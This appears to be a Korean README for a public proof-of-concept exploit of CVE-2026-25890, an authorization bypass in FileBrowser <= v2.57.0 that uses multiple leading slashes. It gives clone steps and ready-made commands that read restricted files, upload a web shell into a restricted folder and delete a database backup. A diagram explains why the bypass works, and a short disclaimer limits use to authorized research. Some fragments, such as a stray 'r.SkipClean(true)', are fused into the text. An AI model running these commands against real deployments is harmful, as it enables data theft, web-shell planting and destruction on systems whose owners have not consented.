
CVE-2026-25890에 대한 익스플로잇으로, FileBrowser <= v2.57.0의 경로 기반 인증 우회 취약점으로, 인증된 낮은 권한의 사용자가 여러 개의 선행 슬래시를 통해 제한된 파일을 읽기, 업로드 및 삭제할 수 있게 합니다.
r.SkipClean(true)# 저장소 클론
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# 표준 라이브러리 + requests 외에는 의존성이 없습니다
pip install requests
python3 exploit.py --help
# 제한된 파일 읽기
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# 제한된 폴더에 악성 파일 업로드
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# 제한된 파일 삭제
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attacker
participant FileBrowser ≤ v2.57.0
participant Gorilla Mux Router
participant Auth Middleware
participant Filesystem Handler
Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(일반 요청)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
Auth Middleware->>Attacker: 403 Forbidden
Note over Attacker,FileBrowser: 공격자가 우회 시도
Attacker->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → 정규화 없음)
Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
Auth Middleware->>Filesystem Handler: 허용 → 진행
Filesystem Handler->>Filesystem: // → /private/secret.txt 정규화
Filesystem->>Filesystem Handler: 파일 콘텐츠 반환
Filesystem Handler->>Attacker: 200 OK + 비밀 콘텐츠이 개념 증명은 교육 및 보안 연구 목적으로만 제공됩니다.
소유자의 명시적인 서면 허가 없이 어떤 시스템에도 이 코드를 사용하지 마십시오.
승인되지 않은 시스템 접근 또는 수정은 대부분의 관할권에서 불법입니다 (예: CFAA, Computer Misuse Act).
Exploit 작성자: Mohammed Idrees Banyamer
국가: 요르단
Instagram: @banyamer_security
유용하다면 저장소에 Star ⭐를 눌러주세요!
마지막 업데이트: 2026년 2월